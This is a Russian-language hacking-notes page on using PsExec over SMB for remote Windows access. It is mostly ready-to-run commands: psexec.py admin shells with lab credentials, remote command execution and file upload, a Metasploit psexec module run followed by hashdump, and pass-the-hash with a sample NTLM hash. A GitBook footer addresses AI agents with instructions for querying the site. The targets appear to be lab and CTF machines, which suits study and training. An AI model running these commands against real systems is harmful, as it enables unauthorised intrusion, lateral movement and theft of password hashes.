> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/ports-and-services/smb-445/psexec-smb-tool.md).

# PsExec (инструмент SMB)

> **PsExec** — это инструмент из набора Sysinternals от Microsoft, используемый для удалённого запуска команд или программ на компьютерах Windows. Он позволяет получать интерактивный или фоновый доступ к удалённой машине, часто с повышенными привилегиями, без необходимости физически подключаться или использовать клиент RDP. Это особенно полезно для сетевого администрирования, тестирования безопасности или автоматизации задач.

Если появляется следующее сообщение:

> "Подпись включена, но не требуется"

<figure><img src="/files/1db985e0cf97c31cd653408f3beb168b88268caf" alt="" width="563"><figcaption></figcaption></figure>

* Это означает, что аутентификация может происходить без проверки подписи. Возможно небезопасное взаимодействие, допускающее злоупотребление, связанное с аутентификацией.

### **PsExec.py**

Вот пример команды для получения интерактивной оболочки с правами администратора:

```bash
psexec.py <domain>/<user>:<password>@<ip_address> cmd.exe
```

```bash
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
```

<figure><img src="/files/cf362ec6176c65297ba16d819bb694a91ee00e82" alt=""><figcaption></figcaption></figure>

### **Удалённое выполнение команд**

Позволяет запускать команды или скрипты напрямую на удалённой машине, не открывая сеанс пользователя.

```bash
psexec //<ip_address> -u <user> -p <password> <command>
```

```bash
psexec //192.168.1.100 -u Administrator -p Password123 cmd /c "ipconfig /all"
```

### **Удалённая загрузка файла**

PsExec позволяет скопировать локальный файл на удалённую машину перед его выполнением.

```bash
psexec //<ip_address> -c <file_path>
```

```bash
psexec.py //192.168.1.100 -c C:/path/to/my_file.exe
```

## Metasploit

**Использование Metasploit для эксплуатации SMB с помощью PsExec**

1. Запустите Metasploit с **модулем exploit/windows/smb/psexec** :

```bash
используем exploit/windows/smb/psexec
set RHOSTS demo.ine.local
set SMBUser Administrator
set SMBPass qwertyuiop
exploit
```

<figure><img src="/files/959cdb49ac8637cc711bf3e905371dcdcbe5c1b5" alt=""><figcaption></figcaption></figure>

После успешного получения доступа можно «дампить» хэши паролей:

```bash
hashdump
```

<figure><img src="/files/c137542b1cd927f6fca7a0328b7d47722a7fe723" alt=""><figcaption></figcaption></figure>

### **Pass-the-Hash — PsExec**

PsExec также можно использовать для Pass-the-Hash, указав NTLM-хэш вместо пароля. Это может предоставить административный доступ, если хэш принадлежит привилегированной учётной записи:

```bash
psexec.py <domain>/<user>@<ip_address> -hashes :<ntlm_hash>
```

```bash
psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```

<figure><img src="/files/77988204287145517c4ef8c6bac2aa84e98e31a1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/ports-and-services/smb-445/psexec-smb-tool.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
